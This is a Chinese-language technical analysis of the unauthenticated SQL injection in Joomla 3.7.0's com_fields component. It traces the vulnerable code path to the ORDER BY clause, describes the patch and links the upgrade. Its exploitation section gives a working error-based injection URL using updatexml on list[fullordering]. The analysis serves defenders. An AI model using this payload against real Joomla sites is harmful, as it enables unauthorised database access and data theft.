Joomla!是世界上最受欢迎的内容管理系统(CMS)解决方案之一。它可以让用户自定义构建网站实现强大的在线应用程序。
在Joomla!3.7.0版本中新引入了一个组件“com_fields”,这个组件任何人都可以访问,无需登陆验证。但是由于程序员设计缺陷,从这个组建中导入了同名的后台管理员组件,而正好在这个后台的同名组建中由于对用户输入过滤不严格,导致严重SQL注入漏洞。
漏洞分析
首先看看前台的这个组件com_fields, \Joomla_3.7.0\components\com_fields目录,controller.php文件:
class FieldsController extends JControllerLegacy { public function __construct($config = array()) { $this->input = JFactory::getApplication()->input; // Frontpage Editor Fields Button proxying: if ($this->input->get('view') === 'fields' && $this->input->get('layout') === 'modal') { // Load the backend language file. $lang = JFactory::getLanguage(); $lang->load('com_fields', JPATH_ADMINISTRATOR); $config['base_path'] = JPATH_COMPONENT_ADMINISTRATOR; } parent::__construct($config); } }
这里我们可以看到当我们的参数view=fields,layout=modal时,
url=http://localhost/index.php?option=com_fields&view=fields&layout=modal
此时设置$config[‘base_path’] = JPATH_COMPONENT_ADMINISTRATOR;
设置为管理后的组件路径: \Joomla_3.7.0\administrator\components\
跟进parent::__construct($config)
文件\Joomla_3.7.0\libraries\legacy\controller\legacy.php
public function __construct($config = array()) { $this->methods = array(); $this->message = null; $this->messageType = 'message'; $this->paths = array(); $this->redirect = null; $this->taskMap = array(); …… // Set a base path for use by the controller if (array_key_exists('base_path', $config)) { $this->basePath = $config['base_path']; } else { $this->basePath = JPATH_COMPONENT; } …… / Set the default model search path if (array_key_exists('model_path', $config)) { // User-defined dirs $this->addModelPath($config['model_path'], $this->model_prefix); } else { $this->addModelPath($this->basePath . '/models', $this->model_prefix); } }
这里先获取base_path的值,然后在加载这个路径的模块。
然后进入\Joomla_3.7.0\components\com_fields\fields.php文件
JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php'); $controller = JControllerLegacy::getInstance('Fields'); $controller->execute(JFactory::getApplication()->input->get('task')); $controller->redirect();
进入execute函数,文件\Joomla_3.7.0\libraries\legacy\controller\legacy.php跟进:
public function execute($task) { $this->task = $task; $task = strtolower($task); if (isset($this->taskMap[$task])) { $doTask = $this->taskMap[$task]; } elseif (isset($this->taskMap['__default'])) { $doTask = $this->taskMap['__default']; } else { throw new Exception(JText::sprintf('JLIB_APPLICATION_ERROR_TASK_NOT_FOUND', $task), 404); } // Record the actual task being fired $this->doTask = $doTask; return $this->$doTask(); }
这里的task的值你可以为display,或者你可以不设置task也可以,因为默认
$this->taskMap[‘__default’]的值就是display。
最后return $this->$doTask()就等于return $this->display();
public function display($cachable = false, $urlparams = array()) { $document = JFactory::getDocument(); $viewType = $document->getType(); $viewName = $this->input->get('view', $this->default_view); $viewLayout = $this->input->get('layout', 'default', 'string'); $view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath, 'layout' => $viewLayout)); // Get/Create the model if ($model = $this->getModel($viewName)) { // Push the model into the view (as default) $view->setModel($model, true); } $view->document = $document; // Display the view if ($cachable && $viewType != 'feed' && JFactory::getConfig()->get('caching') >= 1) { …… } else { $view->display(); } return $this; }
这里的$viewName是取自于view,也就是fields,然后这里先调用getView函数取得视图,然后再调用了getModel获取对应的模型,返回一个model对象,接着再调用setModel函数将获取的model模型push到前面获取的view中去。
最后调用前面获取的view视图的display函数。
文件\Joomla_3.7.0\administrator\components\com_fields\views\fields\view.html.php
public function display($tpl = null) { $this->state = $this->get('State'); $this->items = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->filterForm = $this->get('FilterForm'); $this->activeFilters = $this->get('ActiveFilters'); …… }
第一步,跟进这里的get(‘State’),文件\Joomla_3.7.0\libraries\legacy\view\legacy.php
public function get($property, $default = null) { // If $model is null we use the default model if (is_null($default)) { $model = $this->_defaultModel; } else { $model = strtolower($default); } // First check to make sure the model requested exists if (isset($this->_models[$model])) { // Model exists, let's build the method name $method = 'get' . ucfirst($property); // Does the method exist? if (method_exists($this->_models[$model], $method)) { // The method exists, let's call it and return what we get $result = $this->_models[$model]->$method(); return $result; } }
这里我们的$property是我们传进的实参也就是’State’,那么拼接起来后的方法名$method就是getState方法,然后调用这个方法。
getState方法在文件\Joomla_3.7.0\libraries\legacy\model\legacy.php中
public function getState($property = null, $default = null) { if (!$this->__state_set) { // Protected method to auto-populate the model state. $this->populateState(); // Set the model state set flag to true. $this->__state_set = true; } return $property === null ? $this->state : $this->state->get($property, $default); }
然后调用populateState方法,文件
\Joomla_3.7.0\administrator\components\com_fields\models\fields.php
protected function populateState($ordering = null, $direction = null) { // List state information. parent::populateState('a.ordering', 'asc'); $context = $this->getUserStateFromRequest($this->context . '.context', 'context', 'com_content.article', 'CMD'); $this->setState('filter.context', $context); // Split context into component and optional section $parts = FieldsHelper::extract($context); if ($parts) { $this->setState('filter.component', $parts[0]); $this->setState('filter.section', $parts[1]); } }
在populateState方法中调用了父类的populateState方法,跟进
文件\Joomla_3.7.0\libraries\legacy\model\list.php
protected function populateState($ordering = null, $direction = null) { …… if ($list = $app->getUserStateFromRequest($this->context . '.list', 'list', array(), 'array')) { foreach ($list as $name => $value) { // Exclude if blacklisted if (!in_array($name, $this->listBlacklist)) { // Extra validations switch ($name) { case 'fullordering': $orderingParts = explode(' ', $value); if (count($orderingParts) >= 2) { // Latest part will be considered the direction $fullDirection = end($orderingParts); if (in_array(strtoupper($fullDirection), array('ASC', 'DESC', ''))) { $this->setState('list.direction', $fullDirection); } unset($orderingParts[count($orderingParts) - 1]); // The rest will be the ordering $fullOrdering = implode(' ', $orderingParts); if (in_array($fullOrdering, $this->filter_fields)) { $this->setState('list.ordering', $fullOrdering); } } else { $this->setState('list.ordering', $ordering); $this->setState('list.direction', $direction); } break; } $this->setState('list.' . $name, $value); } } }
从代码中可以看到,这里首先获取用户的输入内容赋值给list,然后变量list,然后当name等于fullordering的时候就对list[name]对应的value进行处理,这里对value进行了两次判断,如果条件成立就设置setState,但是这里两个条件都不成立,到最后统一来一次setState,问题就出在这里了,虽然前面各种判断有异常,但是到之后还是统一进行了setState。
第二步,跟进这里的get(‘Items’),文件\Joomla_3.7.0\libraries\legacy\model\list.php
public function getItems() { // Get a storage key. $store = $this->getStoreId(); // Try to load the data from internal storage. if (isset($this->cache[$store])) { return $this->cache[$store]; } try { // Load the list items and add the items to the internal cache. $this->cache[$store] = $this->_getList($this->_getListQuery(), $this->getStart(), $this->getState('list.limit')); } catch (RuntimeException $e) { $this->setError($e->getMessage()); return false; } return $this->cache[$store]; }
这里调用了当前类的_getListQuery函数
protected function _getListQuery() { // Capture the last store id used. static $lastStoreId; // Compute the current store id. $currentStoreId = $this->getStoreId(); // If the last store id is different from the current, refresh the query. if ($lastStoreId != $currentStoreId || empty($this->query)) { $lastStoreId = $currentStoreId; $this->query = $this->getListQuery(); } return $this->query; }
然后又调用当前类的getListQuery方法
protected function getListQuery() { // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); $user = JFactory::getUser(); $app = JFactory::getApplication(); …… // Add the list ordering clause $listOrdering = $this->getState('list.fullordering', 'a.ordering'); $orderDirn = ''; if (empty($listOrdering)) { $listOrdering = $this->state->get('list.ordering', 'a.ordering'); $orderDirn = $this->state->get('list.direction', 'DESC'); } $query->order($db->escape($listOrdering) . ' ' . $db->escape($orderDirn)); return $query;
先获取我们输入的list.fullordering,也就是list[fullordering]的值,然后通过escape处理,再通过order构造返回要query。
Escape也就是通过函数mysqli_real_escape_string简单处理。
看看order干了什么,文件\Joomla_3.7.0\libraries\joomla\database\query.php
public function order($columns) { if (is_null($this->order)) { $this->order = new JDatabaseQueryElement('ORDER BY', $columns); } else { $this->order->append($columns); } return $this; }
可以看到也就是简单的赋值过程,没有什么过滤处理。
所以上面的过程,我们输入的list[fullordering]的值就成功到这里的query了,最后被sql执行,导致sql注入漏洞。
最后query的值如下图:
漏洞利用
简单的程序验证:
http://10.65.20.198/Joomla_3.7.0/index.php?option=com_fields&view=fields&layout=modal &filter[search]=123&list[fullordering]=updatexml(0x3a,concat(1,(select%20md5(1))),1)
这里GET请求或者POST请求都可以
http://10.65.20.198/Joomla_3.7.0/index.php?option=com_fields&view=fields&layout=modal
task=display&filter[search]=123&list[fullordering]=updatexml(0x3a,concat(1,(select%20md5(1))),1)
漏洞修复
看看补丁的修复过程,如下图:
在文件\Joomla_3.7.0\libraries\legacy\model\list.php中,处理fullordering的时候,当不满足条件时,添加else条件处理过程,使用系统默认的值进行查询。
升级最新版完整安装包以及升级补丁包
https://downloads.joomla.org/cms/joomla3/3-7-1
参考链接
https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html
http://bobao.360.cn/learning/detail/3868.html
如果您需要了解更多内容,可以
加入QQ群:570982169
直接询问:010-68438880